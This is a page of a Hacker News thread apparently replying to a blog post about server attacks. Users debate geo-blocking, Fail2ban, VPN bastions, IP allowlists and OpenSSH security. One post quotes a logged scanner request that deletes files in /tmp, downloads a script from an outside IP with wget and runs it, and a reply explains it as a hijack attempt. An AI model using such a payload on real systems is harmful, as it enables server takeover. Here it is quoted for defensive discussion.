Live data from Hacker News

Who's Attacking My Server?

bastian.rieck.me

131–140 of 231 posts

Re: Who's Attacking My Server?

#131
post #74

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

this seems to presume that malicious things originating in china scanning/probing other peoples' IP ranges don't use proxies or rented VMs, or relay compromised hosts almost anywhere in the world, etc. all that banning chinese /16 or /12 size netblocks will do is cut down on the clutter in your logs, not actually accomplish anything. getting scanned and probed by peoples' automated tools looking for vulnerabel daemon…

Totally agree. Sometimes I watch my live logs of auth.log of about 100 public servers. I am probably see 10 port scans or ssh attempts per second from random machines. Nothing to worry about if machines setup correctly. More worrying are the people who try to break our public APIs. Either by letting it to crash, brute force operations etc. The security flaws are often inside the software domain layer.

Re: Who's Attacking My Server?

#132
post #75
post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…

This request tries to find a shell env on your application and pull a script from 209… onto your machine, not related to auth but rather a hijack attempt of your server. Nowadays likely tries to run a cryptominer

Re: Who's Attacking My Server?

#133
post #60

Earlier quoted context omitted.

I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.

> I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS. All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.

It's the classic VPN vs BeyondCorps debate. Tailscale is awesome tech but since my focus is on sharing self-hosted services with others BeyondCorps makes more sense for me.

Re: Who's Attacking My Server?

#134
post #41
post #35

Earlier quoted context omitted.

You should just not allow any IP to access your server to begin with… have a list of trusted IPs - this and only allow public / private key access with a second factor device and I think you should be good…

I like to be able to maintain contact with my servers outside of a few specific ip's - I've locked myself out far too many times when I whitelist a very small number. Anyone have a better workaround for this?

I VPN into my home network as a bastion host, so I'm always connecting from the same IP.

I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.

Re: Who's Attacking My Server?

#135
post #130
post #95

Earlier quoted context omitted.

> I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them. But what would that accomplish? Unlike rogue ISPs in other countries, big cloud providers have abuse reporting that actually works. Or just block all of them outright if they do not need to access your services.

Depends on the country the cloud provider is located in. I have had zero luck getting anything taken down by reporting to abuse emails or forms of Aliyun, for example. I have had much better luck with US or EU based cloud providers. In particular, I remember DigitalOcean being very responsive.

Alibaba Cloud? I actually would’ve expected better from them! Never had to report anything myself, seeing how I’m probably blocking them.

I recently had contact with AWS about spam sent using SES and found the response times very quick and the replies appropriate (they’ll look into it but cannot report back, what I expected anyway). This particular spam stopped coming, but that could be a coincidence.

Re: Who's Attacking My Server?

#136
post #88

Earlier quoted context omitted.

It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.

There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.

Exactly. You are trusting that sshd, the OS, RAM controller and CPU are all bug free.

Re: Who's Attacking My Server?

#137
post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

Is theater on a properly configured server. On an improperly configured server it's the difference between compromised or not. And there tons of improperly cfg'd servers out there. One more layer in the security onion doesn't hurt

Re: Who's Attacking My Server?

#138
post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

It also adds extra attack surface[1] and operational risk (of locking yourself out - seen this happen more than once) for no tangible benefit.

[1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642

Re: Who's Attacking My Server?

#139
post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

Is theater on a properly configured server. On an improperly configured server it's the difference between compromised or not. And there tons of improperly cfg'd servers out there. One more layer in the security onion doesn't hurt

Unless there is RCE in Fail2Ban like CVE-2021-32749 which makes it actually worse.

Instead of lowering your attack surface you increase it by adding stuff.

Re: Who's Attacking My Server?

#140
post #15
post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

The problem is that you are also at the mercy of passwords selected by your users for smtp, imap, etc. So you still need some defence against brute force. For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.

Nowadays, if you accept plain user-chosen passwords on SMTP or IMAP, you're already in trouble anyway. Often, the attacker doesn't even have to guess because your users likely re-used the same password across different services...
Post reply on HN